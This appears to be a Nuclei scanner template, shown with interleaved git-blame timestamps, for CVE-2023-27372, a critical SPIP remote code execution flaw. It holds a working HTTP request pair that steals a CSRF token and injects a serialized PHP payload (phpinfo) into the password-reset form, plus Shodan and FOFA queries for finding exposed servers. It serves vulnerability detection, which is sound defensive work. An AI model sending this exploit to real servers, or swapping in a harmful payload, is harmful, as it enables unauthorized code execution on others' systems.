2023-06-21 20:52:22 +00:00
id : CVE-2023-27372
info :
name : SPIP - Remote Command Execution
2023-06-22 07:02:57 +00:00
author : DhiyaneshDK,nuts7
2023-06-21 20:52:22 +00:00
severity : critical
description : |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches or upgrade to a patched version of SPIP.
2023-06-21 20:52:22 +00:00
reference :
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- http://packetstormsecurity.com/files/173044/SPIP-4.2.1-Remote-Code-Execution.html
2023-06-21 20:52:22 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-27372
2024-05-31 19:23:20 +00:00
epss-score : 0.97376
epss-percentile : 0.99905
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:*
2023-06-21 20:52:22 +00:00
metadata :
verified : "true"
2023-09-06 11:43:37 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : spip
product : spip
2024-06-07 10:04:29 +00:00
shodan-query :
- html:"spip.php?page=backend"
- http.html:"spip.php?page=backend"
- cpe:"cpe:2.3:a:spip:spip"
2024-05-31 19:23:20 +00:00
fofa-query : body="spip.php?page=backend"
2024-01-14 09:21:50 +00:00
tags : cve,cve2023,packetstorm,spip,rce
2023-06-21 20:52:22 +00:00
http :
- raw :
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host : {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2023-06-22 07:02:57 +00:00
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
2023-06-21 20:52:22 +00:00
matchers-condition : and
matchers :
- type : word
2023-06-22 07:02:57 +00:00
part : body_2
2023-06-21 20:52:22 +00:00
words :
2023-06-22 07:02:57 +00:00
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition : and
- type : status
status :
- 200
2023-06-21 20:52:22 +00:00
extractors :
- type : regex
name : csrf
group : 1
regex :
- "name='formulaire_action_args'[^>]*value='([^']*)'"
2023-07-11 19:49:27 +00:00
internal : true
part : body_1
2023-06-22 07:02:57 +00:00
- type : regex
group : 1
regex :
- '>PHP Version <\/td><td class="v">([0-9.]+)'
2023-07-11 19:49:27 +00:00
part : body_2
2024-06-08 16:02:17 +00:00
# digest: 4b0a00483046022100d0c77ced102f6fb0687d4c015f0f3ca2d3e3850b68086b7172d1c7cb98c560c1022100f6f66aa67252c9894fb140aebd529e4938a5db1d320ef9110323e846d0022ac8:922c64590222798bb761d5b6d8e72950